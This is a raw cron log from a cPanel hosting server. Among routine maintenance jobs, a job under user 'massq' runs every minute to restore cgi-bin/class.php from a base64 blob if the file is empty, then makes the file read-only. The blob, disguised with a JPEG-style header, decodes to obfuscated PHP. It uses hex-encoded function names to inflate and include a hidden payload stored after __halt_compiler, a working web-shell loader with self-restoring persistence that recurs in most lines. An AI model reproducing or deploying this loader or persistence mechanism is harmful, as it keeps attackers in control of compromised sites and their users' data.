Nov 10 13:17:01 server CROND[16672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:18:01 server CROND[17515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:19:01 server CROND[18397]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:20:01 server CROND[19229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 13:20:01 server CROND[19230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:20:01 server CROND[19234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:20:01 server CROND[19236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:20:01 server CROND[19235]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 13:21:01 server CROND[20101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:22:01 server CROND[21019]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:23:01 server CROND[21843]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:24:01 server CROND[22666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:25:01 server CROND[23448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:25:01 server CROND[23450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:25:01 server CROND[23449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:26:01 server CROND[24353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:27:01 server CROND[25170]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 13:27:01 server CROND[25171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:28:01 server CROND[26084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:29:01 server CROND[26918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:30:01 server CROND[27763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:30:01 server CROND[27762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 13:30:01 server CROND[27766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
